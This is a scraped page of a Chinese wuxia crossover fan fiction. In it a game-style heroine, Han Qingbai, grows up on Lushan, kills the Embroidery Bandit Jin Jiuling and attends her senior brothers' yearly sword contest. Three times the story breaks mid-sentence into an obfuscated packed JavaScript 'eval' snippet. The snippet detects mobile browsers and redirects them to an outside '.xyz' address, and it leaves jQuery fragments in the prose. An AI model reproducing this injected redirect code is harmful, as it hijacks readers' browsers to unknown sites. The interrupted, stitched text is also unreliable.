《[综武侠]说反派谁是反派》 1. 游戏开始 0岁:你出生了,是个女孩。 你有了自己的名字,寒轻白。你娘埋怨你爹怎么起了这样一个名字,她觉得这名字太冷了,双倍的冷。 你爹好脾气笑呵呵地接下了这个黑锅。屏幕外的你很心虚,没办法,你取名无能,就这还是翻了不少书才凑出来的、还像是那么回事、至少是个人的名字,过场动画不会出戏。 1岁:你爹娘给你买了很多玩具。其中还有小木剑和小木刀,你娘很期待你跟你爹一样用刀,你爹很期待你跟你娘一样用剑,真是非常秀恩爱的期待。你狂吃狗粮。 2岁:你爹娘为你制定了长长的人生计划,他们甚至在畅想你的孩子会不会跟你一样可爱。你想说他们想得太远了,但你还是没说,用亲亲糊了他们二人一脸口水。 3岁:你爹开始教你识字,还有武功。他发现你力气很大,很高兴,抱着你在院子里举高高转圈圈,结果把你扔飞了出去。你身强体壮,完好无损。你爹得到你娘的一顿痛骂。 4岁:无事发生。 5岁:你舅舅来拜访你们家,并给你带了礼物。你舅舅和你娘性格很像,都爽利泼辣、风风火火的,他也是一个剑客。听说他跟的上司叫智高,谋反失败死了。他自己和同门也被一个叫小花的人打败了,痛定思痛,决定培养下一代打败小花。 6岁:你决定学刀。你娘很高兴。你爹也很高兴,他教你练刀。 7岁:你爹教你练刀。 8岁:你爹娘死了。你因为可以在马路上捡到一百块的幸运躲过一劫。你本想救人却来迟的舅舅带你走了,他收养了你。 你舅舅住在庐山上,还有他的徒弟,也就是你的师兄。 他和他的同门真的实施了要卷就卷下一代计划,每个人都收了一名亲传弟子。他们自己不比,七人齐心协力想要创造一个威力巨大的剑阵,但叫自己的徒弟一心练剑,让徒弟比试,这样可以不伤他们七人的和气。 你是外甥女,还学刀,你躲过一劫。 不过你师兄比较倒霉,每天都练剑,压力很大。他晚上孤寂的时候就玩火,点一圈火焰,烧到什么都不在乎,哪怕他自己被火舌烫到也无妨。 茅草屋烧完后还得他自己熬夜搭好,也不知道究竟图个什么。还好山上没有森林,要不然火烧山林那不得判个十年以下有期徒刑。 跟你相处久了,师兄也会跟你倾诉。 他说他少年时玩火不小心烧掉了自己的房子,成为了孤儿,所以才会被师父看中,收为徒弟,被迫在这庐山上练剑。 你理解师兄压力很大,但你不想每天晚上都抱着沉痛的、担心被火惊醒的心情入睡,于是你跟师兄约好,玩三休四,不玩火的那四天你可以陪他熬夜聊天。 9岁:你专心练刀。 你在烤肉的时候不小心烧到了自己的头发,遂用刀削去,变成狗啃一样的发尾,师兄见后发出嘲笑。 真是亲师兄。 师兄又用剑削薄了一些,试图削出一个造型。舅舅吐槽说还不如之前那样参差不齐,现在更像狗啃的了。 最后决定把头发一刀切,切成一条直线等它自己慢慢长,说不定会自己变得成熟稳重,就像加载进度条,不去看它或许就能加载地更快一点。 10岁:你专心练刀。 舅舅下山了一趟,回来跟你说把杀你父母的人杀掉了。 你哦了一声,问舅舅为什么他们要杀自己的父母。 舅舅摸摸你的头,倒了壶酒,他告诉你他的妹妹,也就是你娘,在江湖上行走时有魔剑的美誉,你爹被外头叫做妖刀,常在河边走,哪有不湿鞋的,所以叫以前得罪过的人找上门来报复,被杀掉了。 不过他现在也把对方满门杀干净了,所以没关系,他叫你以后不必再担忧了。 11岁:你专心练刀。你师兄出师下山了。 依照舅舅和同门的约定,他们的门人弟子每年都要在黄岩山上比斗一次。他们把互相比拼之心都转移到了弟子身上,他们自己不伤和气,就跟让孩子们学外语比考试成绩望子成龙的家长一样。 12岁:你专心练刀。 你跟着舅舅去了黄岩山看他们比试。今年比试是师兄赢了,舅舅很高兴。 舅舅的同门对你很好很友善。 有一个一身黑的师兄在你爬树摘果子时帮你拉开袋子,接住果子。黑师兄寡言少语,颜值也没有你高,留了一把胡子,不过你很高兴摘果子满载而归,分了他两个。 13岁:你专心练刀。 今年比试师兄第二,第一的是一个看起来随时就要闭眼躺在地上入睡的师兄,听说他是除你以外年纪最小的,名字跟果子有关,甘润性凉,清热润肺。 舅舅很不高兴,他在同门中剑法最高,可他的徒弟却屈居第二。 师兄说想一个人静静,你便走开,有些无聊,突发奇想去后山倒拔垂杨柳。 一个路过的陌生师兄看你倒拔垂杨柳,一脸沉痛,踉跄地走掉了。你不明所以。 14岁:你专心练刀。 今年比试还是小师兄赢了。他们说他的剑法独具一格,自成一派。 有一个使剑很飘逸的吴师兄似乎瞧你不很顺眼,师兄在忙着忧郁,你去问了黑师兄,感觉他比较好说话。黑师兄回答了你。原来那个使剑很飘逸的吴师兄跟你一样,他是他师父的外甥,不过他比较懒,所以他师父试图用你来激励他。你了然,卷王确实是比较招人讨厌的。 梁师兄用书籍话本贿赂你,私下问你是不是真的能倒拔垂杨柳,你点头,看在话本的份上带他去后山,展示给他看。今年的你已经不是去年的你了,你现在能单手拔柳,力量90就是这么无敌。此举得到了他的惊叹,他答应下回继续给你带话本。 15岁:你专心练刀。 小师兄又赢了。 小师兄给你带了礼物,是雕花木梳和金缠钏,你受宠若惊,礼貌道谢,抛之脑后。 今年的话本子很好看。你夸奖了梁师兄的品味。 16岁:你专心练刀。 舅舅说以你的刀术,可以出师下山去看看了,让你要是遇事就去找师兄。 你下山了。 【过场动画加载中……】 【加载完毕。】 【游戏,正式开始。】 十六岁,正是一个好年纪。 隔壁临海的十六岁高中生已经拯救了八十八个世界,重开了九十九次轮回,十六岁的寒轻白刚从庐山新手村毕业。 山下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033301|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的世界对寒轻白而言陌生又喧闹,她便四处游荡,反正她又不需要像师兄们那样像被鞭子抽打似的一直刻苦钻研剑术。 闲聊的时候她听何师兄说起过,他们下山后都会去找剑术高超的人比试,磨砺他们的技巧。 何师兄是一个看上去就很难过、很孤独的人。他没什么存在感,每次比试的成绩都不上不下。 寒轻白撞见过一次他师父重责他,斥责他永远都不上不下,无法出类拔萃、技压同门。 不过何师兄人虽然忧郁,但还是很好相处,他曾告诉寒轻白,峨眉山有很多佛寺名刹,香火旺盛,如果师妹感兴趣的话可以来峨眉山玩。 师妹对拜佛求神不感兴趣。 如果有神,她希望可以让她不劳而获坐享其成无功受禄一步登天……扯远了。 所以下山后,她并没有把峨眉山列入游玩目标。她本来就在山上长大,既然已经要下山去看看别处,那何必再往其他山上跑。 只是遇到有人凌辱姑娘,还想着拐卖人口,罪加一等。寒轻白并无见死不救之意,出刀便斩杀了那几个卒子。姑娘们不胜感激,得知她初出茅庐,惊叹她的刀法高强。 被这样一群大小不一的漂亮姑娘围着说话,寒轻白挺高兴的。她见这群女孩子流露出想回家之意,想自己闲着也是闲着,便一路护送,与这些姑娘一道回到她们的门派,神针门。 “这里就是我们的家。”领头的姑娘见了熟悉的景象后,心情放松不少。 她笑道:“我们神针门擅刺绣,寒姑娘一路辛苦了,且等我们回去,为你好好织上一套衣物,穿上一定合身,而且显得更漂亮。” 神针门建在山上,只不过跟寒轻白认识的那清一色的师兄不同,神针门里的都是师姐妹。 寒轻白作为解救了神针门外出游玩遭遇不测的弟子的恩人而来,得到了神针门的热烈欢迎。 姑娘们清亮的笑声一直响个不停,她们相当热情,不仅做了好几身衣物给寒轻白,还邀她比试武功,寒轻白受益良多。 神针婆婆给她的帮助尤甚,绣花针在她手中引着剑气,就好像针引着线,妙不可言。寒轻白看得目不转睛。 寒轻白原先的刀法走的是大开大合,炽烈如火,但神针门的穿针引线不一样,它细腻轻灵,游刃有余,蜻蜓点水,往往在不经意间刺出最致命的一击。这给了寒轻白很大的启发。 得知寒轻白初出茅庐,姑娘们都很热情传授她在江湖上行走的窍门,教她如何打扮,还跟她讲了很多江湖上门派与大侠的消息。 在神针门,寒轻白才知道原来曾经打败舅舅他们的“小花”是当朝的诸葛神侯诸葛正我,他字小花。 除了小花,还有一个人当年也让舅舅落入了失败,那个人名为元限,是小花的师弟,只不过已经与小花分道扬镳,成为了太师麾下的高手。 神针门的人对此也了解不多,只神针婆婆见她感兴趣,会多说两句,不过只是说一些广为传闻的事情之后便不再开口了。 神针门的人对她很好,寒轻白也接受她们的善意,在离开神针门的时候换了新衣,还另带了满满当当的一包裹。 在她下山清扫了一遍山下不干不净的势力后,拂去刀上的血,寒轻白往江南走去。 2. 速通绣花大盗 在路上,寒轻白听说了一个绣花的男人。 他用绣花针,可他并不似神针门的姐妹那样绣剑气,绣花样,也不似神针门行侠仗义或亦正亦邪。他绣的是别人的眼睛,遇上他的人无不倒了大霉,被他劫了财,还被绣瞎了眼睛。 这是一个相当恶劣的家伙。 被偷了七十卷价值连城的字画的华玉轩有不少门面,其中一家门店的老板与神针门有故,有好些神针门的绣品都是走他的路子卖出去的,她眼睛很尖,一眼就瞧出来寒轻白一身衣物皆是神针门的绣工,在寒轻白路过时便拉住了她,几乎是有些破罐子破摔般希望她能帮忙追回字画。 【华玉轩花老板的委托】 【华玉轩被偷走了七十卷价值连城的字画,其中有十多卷出自花老板的门面,花老板很忧愁。花老板是一个有野心的人,她踌躇满志想要争取今年的先进员工,超越原本定下的KPI目标值。 这也是个卷王。你肃然起敬,同时升起几分亲近之意。 虽然来找初出茅庐没什么声誉、只会刀法的你显然有些不止一点破罐子破摔、急病乱投医了,而且她似乎误把你当成神针门刚下山的弟子了,但你还是决定答应她的委托。】 “好啊,不过我只能说尽力而为。”寒轻白说。 “没事,姑娘你肯帮忙就已经很好了,不管最后能不能找回来,我花某人都交你这个朋友,日后来买古董字画的话给你便宜点,要是有绣品的话一定帮你卖个好价钱。” 尽管可能用不到,而且她也不会绣艺,寒轻白还是非常真诚地说了谢谢。 花老板泡了茶,取了点心放在寒轻白面前。寒轻白双手捧了一杯热乎乎的茶,听花老板说话。 “不止我们华玉轩遭了殃,还有镇远的八十万两镖银,镇东保的一批红货和金沙河的九万两金叶子……真是倒了八辈子血霉,我们看守字画的护卫也叫绣瞎了眼睛,找大夫看过后,大夫说很难恢复正常了。可怜的小伙子,听说家里本来给他说了门好亲事,结果没想到遇上这种事,现在为了不耽误人家好姑娘,就把婚事退掉了。” 花老板哀叹一声,道:“我这也是没办法的办法了,人多力量大,柴多火焰高,现在只能多找些人帮忙把那可恶的大盗抓捕归案。” “听说丢了十八斛明珠的朱公子朱仙震府总管江重威,他有一个好朋友叫金九龄,这个金九龄可了不得,妹妹你刚从山上下来,还不知道他的名声吧,他以前是公门的捕快,后来洗手不干了,但他的消息仍然灵通,再加上这事涉及到他的朋友,他肯定会管这事。” “所以我可以找他组队?”寒轻白问。 “组队?你是说跟他一起调查吧,如果你能遇上他的话,倒也不是不可以。不过他这个人水估计挺深的,你若是接触,要小心点。”花老板想了想道。 “他是一个事事都要第一流的人,只喝第一流的酒,只看第一流的女人,只坐第一流的车,这样的生活需要的开销肯定很大,但他明面上的本事只有一个辨别古董字画和相马,你花姐姐我虽然不懂相马,但懂古董字画,若是古董字画能赚那么多钱的话,我早就盘下一个铺子自己经营了。” “所以金九龄是绣花大盗吗?”寒轻白捧着茶问。 江重威的朋友,武功高强,消息灵通,喜好花钱享受,有些风流自赏,还疑似有其他不为人知的搞钱手段。金九龄身上的buff已经被点满了。 而且他还是一个前捕快,抛去人品不谈,这样的人最懂如何抹去犯罪痕迹了。 “……应该不是吧。”花老板被这话一噎,迟疑道。 她告别花老板后,决定去寻找华玉轩丢失的字画,以及金九龄可能是绣花大盗的线索。没有确切的证据,寒轻白寒大侦探绝不冤枉人。 就像虽然七个师兄里只有吴师兄看她不太顺眼,见过她倒拔垂杨柳的孙师兄一向对她敬而远之,但如果扎头发的发带丢了,寒轻白也会一个师兄一个师兄挨个问一遍的。因为这样不仅吴师兄会在师兄的火辣注视下把发带还给她,她还能从何师兄和小师兄那里各得到一条新的。 她一路打听着金九龄的消息,结果可能是因为速度太慢了,又可能因为金九龄的脚程太快,寒轻白一直没有追上金九龄,跟着他身后跑,连个影子都没见到。 两个流浪汉等待永远等不到的戈多,一个寒轻白追赶永远追不上的金九龄。 寒轻白不服输,也不想拍荒诞派戏剧,她在这个城镇外面打算歇歇脚,明日再走。 神针门给了她好些衣物,寒轻白收了,不过她们本来还想给些银两,寒轻白没有要。 她在山上的时候生活比较简单,自己动手丰衣足食,后来师兄回来还跟她说,下山之后发现好多要用到银钱的地方,别的不说,城镇的一口吃的都比山下集市里的贵。 所以寒轻白现在比较贫困,别看身上衣物还算精致,也是崭新的,没打什么补丁,但其实没什么银钱,之前从山上下来时舅舅给她的钱都差不多用尽了。城镇里的客房她住不起,索性准备在城外找一个破庙生火休息。 她一脚踹开一个破庙的门。风呼啦啦地响,里面却不止有垂目的菩萨,还有两个人。 “救我!”女人喊。 “阁下何必多管闲事。”男人侧头看向寒轻白,柔声道。 “你又何必多管闲人?”寒轻白反问。 男人微微一笑。 寒轻白拔刀。 绣花针与刀身相碰,发出金石相碰的清脆声响,几枚细针落在地上,寒轻白看也不看,将刀身完全拔出,刀锋直指男人。 被刀锋指着,男人倒也不惧,似乎是见惯了大场面,他只哦了一声,有些遗憾道:“看来是我先出手这一点失误了。” “他是金九龄!要算计陆小凤!打不过的话你就跑,去告诉陆小凤,让他来救我!”女人喊道。 “金九龄,原来你就是金九龄。”寒轻白看向男人,随后问那女人。 “那你又是谁?” “她是薛冰,人称冷罗刹。江湖上的一条母老虎,不过在我看来,只是一条小猫而已。” “你也是,不过不知道是你的爪子更锋利一些,还是薛冰的爪子更锋利些。” 金九龄是有些恼火的。他一向爱奢华,爱享受,为了隐瞒身份杀了薛冰,特意带着这陆小凤的女人来到城外的破庙,不想还是被人打断。 “那要看是你的力量比较大,还是老虎的力量比较大了。” 寒轻白话音未落,身形已动,一刀直接朝金九龄砍来。金九龄手中没有趁手的武器,破庙里也翻不出他的大铁锤,面对来势汹汹的攻击,他只好闪身疾退,避开这一刀。 与此同时,他侧身逼近。 “小心!金九龄点穴打穴都是一流的!” 寒轻白一刀未中,也没有急于换招,只是顺势收刀,一个肘击朝金九龄的腹部袭去。金九龄收臂用小臂格挡,却仍被震退了两步,受力的那一点又痛又麻。 好重的力道! 金九龄惊讶于这陌生姑娘的力量,但很快,局势就不容他继续细想了。 寒轻白的刀再度朝金九龄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033302|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 劈来,这一次刀锋更快,力道更大,甚至燃起薄薄的一层火焰。 火光很浅,好似风一吹就散了。 可裹挟着刀锋的火焰落在金九龄肩膀上时,就完全不是那么一回事了。 几乎被斩断臂膀的疼痛,还有徐徐燃烧的火焰的灼烧。这两层伤痛的叠加让金九龄不由得迟缓了一瞬。寒轻白抓住时机一口气砍下他的胳膊,这下臂膀是真的被砍掉了,血飞了出来。 寒轻白提膝,重击金九龄的腹部,金九龄撞上了墙壁,连这破庙也带着晃了晃。 金九龄滑下来,连连呛咳。 她走近金九龄,一脚踩上他的腹部,刀锋点着金九龄的咽喉,俯视他。 “你是绣花大盗吗?被你偷走的钱和古董字画在哪里?” “姑娘说笑了,我哪里是什么绣花大……” 寒轻白脚上用了点劲,迫使金九龄不得不把没说完的话咽下。 “可你会用绣花针。” “他就不是个好人!”被称为薛冰的女人在他们背后出声。 “陆小凤好心好意帮他破案,他却杀人,还掳走我,叫陆小凤替他白做工!你说得对,他肯定是那什么绣花大盗!如果不是绣花大盗的话,为什么要在陆小凤东奔西走查寻真相的时候做这种事情!” “我认识的人跟我说,一个人可以死一年半,甚至更长的时间,你想试试吗?” 金九龄沉默。他打了个冷颤。 他原先是六扇门的捕快,对寒轻白话语中暗指的是什么意思自然明了。一个人死是很快的,但要是用上刑,叫人生不如死还只能挨着,那就是活生生在人世间数着分秒熬日子。 “我告诉你那些东西在哪,你放我走,如何?” “华玉轩的七十多个古董字画,镇远的八十万两镖银、镇东保的一批红货、金沙河的九万两金叶子和朱公子府里的十八斛明珠?” “没有那么多……没有那么多,这些日子我已花了一些,但仍有不少,你若是放了我,薛冰那女人随你,那些财宝也归你,我绝不再去拿!” “好啊,那你说吧。” “你答应了?” “我答应放了你。” 金九龄满心不愿,奈何势必人强,还是小命要紧,伴随着薛冰你放了他的话他肯定会杀回来的背景音,金九龄说出了他藏赃物的地方。 “确定是这个地方吗?” “没错。” “好,你起吧。” 寒轻白收回脚,后退了几步,做了个请的手势。 金九龄眼睛一亮,忍痛起身,头也不回地就往破庙门口跑去。他还没跨过门槛,忽得感觉胸口一痛。刀尖已然穿过他的心口。金九龄睁大眼睛,满脸不甘地倒下了。 寒轻白走过来,拔出自己的刀,放回刀鞘。 薛冰也有些愣了,她看着寒轻白,半天说不出一个字来。 “做甚?我只说放了他,又没说不杀他。”寒轻白瞥了她一眼。 她一想,确实如此,忽得笑了起来。 “他已经死了,你为什么不起来?” “我被他点了穴,起不来。” “难怪你说他点穴打穴都是一流的。” 寒轻白恍然,替薛冰解了穴。 “多谢你了,要不是你,我估计就要被这贼人在这里杀死了。” 薛冰把散乱的头发撩起,这才看见她的容貌。她有一张文文静静温柔美人的脸,说起话来却爽快直白。 “我要把他的头和手砍下来,哼,不然走了也不甘心。” 3. skip和skip 离开破庙,交换了名姓,薛冰说要带寒轻白去找陆小凤。不过今日已经不早了,她便提议去住客栈休息。 寒轻白坦然表示自己囊中羞涩。她耸了耸肩,只道:“你猜我为什么要进那破庙?” 薛冰笑了起来,道:“那就当体贴姐姐,咱们去住客栈,我掏钱就是了。之前我在地上打滚了好一会,不仅衣裳脏了,头发也乱了,就连脸上也沾了污渍,晚上休息前要是不把自己弄干净,我会难受死的。” 薛冰都说到这份上了,寒轻白也没什么不乐意的。薛冰要了一间上房,叫小二送上餐食和热水来,填饱肚子,再把自己洗了个干净。她们二人一个房间,晚上薛冰没有点灯,但她也没有睡意。 “你白日里对金九龄说一个人可以死一年半,这是真的吗?你可以做到吗?” “做不到,这是我何师兄说的。当时他刚起了个头就被我师兄打断了,所以我也就知道这么多。反正刚才金九龄已经方寸大乱,刚好拿来吓吓他。” “做得好,那种人就该吓死他。” “陆小凤是不是很厉害,我们可以找他帮忙把那些金九龄偷盗的赃物都还给失主吗?” “当然可以了,陆小凤非常厉害,而且他还是一个非常喜欢管闲事,非常爱惹麻烦的人。” 薛冰顿了顿,又柔声道:“当然了,他也是我非常喜欢的人。” 她又简单说了几句陆小凤的事情,从她的话语中可以听出来,陆小凤虽有时叫她恨得想把他的耳朵咬掉,可又叫她喜欢得无论哪里都愿意随他一起去。 “陆小凤也很讨我家老太太喜欢,我奶奶针绣一绝,只是到了我,一拿针线就打瞌睡,不过奶奶也依我,只叫我好歹要会刺几针。至少日后若是嫁人时,还要自己绣嫁衣。” 薛冰说着说着,脸已经红得跟夕阳下的彩霞一样了,只是没有点光,在黑夜里,也只有她自己能感受到脸颊的热度。 “我说了这么多,你也讲讲,可有喜欢的人了?姐姐帮你参考,若是负心汉的话也能帮你出出主意。” “喜欢的人吗,没有。” “这么肯定吗?你师兄如何?对你怎么样?” “我师兄啊,他对我挺好的,小时候我会拿他头发扎麻花辫玩,后来我自己头发长了就不这么做了。不过天长日久的相处,有时候就有点烦了,我想做个什么吃的时候他会呵斥我,把我赶出去,叫我不要浪费粮食。” 薛冰沉默了一会,道:“那确实没什么感觉,小时候我在我爹书房玩,把他的纸和墨弄得乱七八糟,他也是这样骂我的,叫我离远点,别浪费他的纸。” “那你何师兄怎么样?” “他吗,就每年见一回,偶尔聊几句,没什么特别的。主要是他性子太沉闷了,没什么可聊的。” “说不定后面你在江湖上闯荡的时候,可以遇见一个知心人,我和陆小凤就是这样,不打不相识。” 二人聊了半宿,第二日一大早,薛冰便带着寒轻白去找陆小凤。陆小凤见了她,又惊又喜。 “太好了,你没事!你没事就好!” 陆小凤望着她,薛冰也凝视着陆小凤。他们二人就这么怔怔地看着对方好一会,薛冰才移开视线。 “这是我新认得的妹妹,寒轻白,多亏了她,不然我就要叫金九龄那小人害死了。” 陆小凤忙问怎么回事,薛冰见他急迫的样子,悠悠地卖了好一会关子,陆小凤好话说了一箩筐后才告诉他事情的来龙去脉。 陆小凤听罢,叹了口气。 “金九龄他……何必如此。” 陆小凤与金九龄不怎么熟悉,可他与苦瓜大师是好友,苦瓜大师只有金九龄这么一位师弟,陆小凤不敢想象苦瓜大师得知金九龄如此作为、如此结局后会是什么样的感受。 “薛冰说你很厉害,可以把那些赃物都物归原主。” “不错,不过这跟厉害与否没什么关系,你已经从金九龄那里问到了他放东西的地址,我也只是多费些体力,把东西挨个送回罢了。” “那就麻烦你了,我有个认识的人在华玉轩,有些字画就是她家的。” “好,这你放心,我一定一幅不差地送回去。” 【华玉轩花老板的委托】(已完成) 【花老板铺子里丢的字画被一幅不差地送回,花老板十分高兴。近日里神针门来托她卖出的绣品,她都尽力寻了一个好价钱。 薛冰与陆小凤一起离开,与你告别,你再度踏上了旅程。 你听闻黄河决堤,正好不远,便赶去帮忙安置疏散灾民。这是一项很繁琐也很累人的事情,不过你不怕,你有武功傍身,还有80体质打底,浑身湿透了也不会感冒。 中途有一个好心人捐款,他捐了五十多万两银子,真是热心肠! 不过在你夸他的时候,他说银子不是他的,只是帮朋友花而已。 你想了想,说,那也很好,说明你们两个都是侠义心肠。 他笑了笑,没说话。你当他默认接受了你的夸赞。】 “有这些钱,房屋被冲毁的人很快就能有暂住的地方,只是地里的庄稼没办法恢复原样了。”好心人说。 “至少人活着,大家也没有失去希望,这样就好。”寒轻白说。 “你还没有问过我的名字。” “我不太擅长记名字,不过你说的话,我会努力记住的。” “我叫路小佳,道路的路,你叫什么?” “寒轻白,冬雪雪冬小大寒的寒。” 路小佳停了一会,说:“看来你没听说过我。” “我没听说过的人有很多,江湖上大部分人我都没听说过,最近熟悉的应该只有陆小凤的事迹。” “我和陆小凤可不一样。” “不错,你用剑,他不用。” “不仅如此。我用剑杀人,他却常阻止人被杀。” “这和你捐钱救助灾民没有关系,多亏了你,公门里那些吃干饭的速度也快了很多。” 路小佳笑了,他道:“看来你跟公门的人没什么关系。” “确实没有。” “我要走了。” “不再留一会,看看你和你朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033303|162353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友的钱的成效吗?” “不了,我赶着去杀人。” “杀谁?” “杀一个你不认识的人。” 寒轻白点头,没有追问的意思,只道:“路上小心,注意安全。” 路小佳笑了笑,没说话,转身走了。没有剑鞘的剑在太阳下闪着光。 寒轻白待灾民安置妥当后才离开这片区域,恰好快要到一年一次的黄石山比剑,她便向黄石山的方向启程。 快到山下时,寒轻白忽得见了一条黑黑的人影立在那里,她看了过去,是黑师兄。黑师兄叫什么来着……好像是姓余。 “余师兄!” “小寒,怎得下山一趟后晒黑了,也瘦了,没得去什么杭州苏州逛逛吗?” 余厌倦听见声音,看过去,见寒轻白却是比上回见黑了不少,也瘦了点,不过眼睛还是乌黑发亮,炯炯有神,笑的时候露出洁白的牙齿。 “江南那边去走了一趟,不过雾里观花,没得什么意思,就去别处了,余师兄怎么没上山呀,是在这里等我吗?” “上去也就那么回事,去年的时候罗老幺的剑术就已经是咱们中最高的了,今年只怕又精进了不少,说来说去,师父们就想让我们挣个第一,没了第一,那也就没什么可比的。”余厌倦非常厌倦地说。 “所以与其在上面空耗时间等着,还不如下来接一下你。这是头一回下山吧,小寒,可有什么不适应不愉快的?” “也还好吧,感觉山下的日子过得好快,时间都花在路上了,还没多去哪里逛逛,就到这会了。” “那哪能一样,山上的日子要什么没什么,时间自然过得慢,到了山下,想找什么都有,花钱的地方可就多了。你看你现在穿的,还是跟山上一样的粗布,外面都兴那些什么丝绸的,你若是缺钱就跟师兄们说,我们下山比你早,好歹攒了些银钱。” “丝绸衣裳那不是一勾丝就得换,那也太浪费了,还不如布的舒服,破了打个补丁就行。”寒轻白不以为意。 “你是这样想的啊,也行,但缺钱了还是要说,饭总得吃好的。咱有钱了就去客栈吃,叫人家大厨做有水准。就老温那做饭水平,说能吃都是抬举他。” 上山的路上,余厌倦絮絮叨叨了不少,直到快到地方他才不再继续说。 到了山上,见了人,余厌倦自去了他师父旁,寒轻白去了舅舅和师兄身边。 温火滚一见她过来,便奇道:“你怎么下山一趟还瘦了?我第一回下山还胖了不少。你这是去哪个旮旯拐角里练刀去了,比在山上还黑了。” “这只是我没找准方向,我很快就能胖回来,你下回见我就不会这么说了。” “行,你高兴就行,缺钱就跟我讲,你师兄我下山还是能闯出不小的名声的。” “名声能换钱吗?”寒轻白问。 “怎么不能,就是名气大了,才有人拿高价钱请我去杀人。” 寒轻白哦了一声。 温辣霞清了清嗓子,开口道:“不多聊了,火滚你去做准备去吧。” “是,师父。” 4. 入职邀请 比剑每年对于所有人来说是一个证明自己所学的时候,也是一个徒增压力的过程。 今年的第一依旧是罗睡觉,他年纪最小,剑术却最高超。他本名罗汉果,后改名为罗睡觉,练的是梦中剑,意思是在睡梦中也能练剑。 第二是温火滚。 这两个排名是一直不怎么变的,剩下的名次时常有所变动,至于谁先谁后,就取决于他们这一年来在外面自己的练习和感悟,听说他们多找高手祭剑、练剑。 温火滚便是如此,他曾一剑挫杀两位名人,成就了自己的名气,但只是如此还不够,尽管温火滚在比剑的时候大都只输给罗汉果,但其他人也不服气,认为他不过略胜一筹,下次自己一定能胜过温火滚。 直到温火滚战胜哭魔等高手后,他才终于算奠定了自己的地位和名次,在七个人里的排行仅次于罗睡觉罗汉果。 这些属于他们七个人之间的争斗和不服气,寒轻白一向是不大关心的,也没有人闹到她面前来过。关系与她亲近的几人中,哪怕是不怎么对头的余厌倦和温火滚也很少说对方的不是。除非那已经是公认的事实,就比如温火滚的厨艺。 只是听着余厌倦说起此事时,寒轻白没好意思说在庐山上时都是温火滚做饭,因为她和温辣霞的做饭水平比温火滚还烂。 时常给寒轻白带话本子的梁伤心今年比剑成绩比去年更惨淡,落于孙忆旧之后。寒轻白来时见他两手空空,似乎并没有带话本子,也没有问他,不过他主动来找寒轻白说明了情况。 “我可能之后也不会带话本子给你了。”梁伤心说。 “为什么?” 他抿了抿嘴,看了一眼四周,并无他人,低声道:“我想提升自己的剑艺,所以寻了很多古籍书册,但仍是不解不悟,为此还荒废了不少练剑的时间,现在孙菩提都比我要强。读书又有什么用,我讨厌书,我现在什么书都讨厌,什么书都看不下去。” 这就是寒轻白为什么从来不记舅舅同门和师兄们名字的缘故,他们总有一些别的称呼,尤其是下山之后这种风气愈演愈烈。就比如早些年见过她倒拔垂杨柳后敬而远之的孙师兄,有的师兄叫他孙忆旧,有的又叫他孙菩提,有的叫他孙老妖,还有的直接叫他老孙、孙子,总之称呼没一个统一的,天知道他究竟叫什么名字。 寒轻白也不知道他到底叫孙忆旧还是孙菩提,就像她不知道余师兄叫余厌倦还是余默然一样,索性只记姓氏,反正叫师兄总没错。 “既然这样,那就没办法了,梁师兄也别太难过。” “抱歉啊,小寒。” “不用为了这样的事情道歉的,梁师兄,你稍等一下。” 梁伤心不解,站在原地等待,没等一会,寒轻白就又跑了回来,手里还拿着几张写有字迹的纸,像是被从书上匆匆私下的。 “小寒?” 寒轻白把那几页撕成几片,团吧团吧揉成几团,在梁伤心迷惑的视线下,把其中一团放进嘴里吃掉,向梁伤心展示空空如也的手心。 “你看,梁师兄,不喜欢的吃掉就好了,吃掉之后就消失不见了。” 梁伤心看着她,呆了一会,然后忽得笑了起来。 “你啊,小寒,真是的,其实我说这么多,只想你抱我一下,老温说你安慰人的时候会抱一下,但没想到……你还真是出人意料。” “你应该是头一回吃纸,要是不舒服记得吐出来。剩下的给我吧,我把它吃掉。” 梁伤心伸出手。 寒轻白比梁伤心要高一点,她伸手去从一侧搂住梁伤心,然后在他背后轻轻拍了拍。梁伤心的脑袋靠上她的肩膀,原先伸出的手并没有收回。 寒轻白松开这个拥抱,后退一步,朝梁伤心笑了笑。 她把剩下揉成一团的纸放在梁伤心的手心,一本正经道:“这样讨厌的东西就消失了。” “嗯。”梁伤心笑了笑,把这一团扔进嘴里,嚼了几下后咽了下去。 “罗老幺之前给你送的金缠钏,你带了吗?” “怎么突然问这个,小师兄找你问的吗。那东西还在庐山,我下山的时候就没带,不方便戴臂套。”寒轻白语气随意。 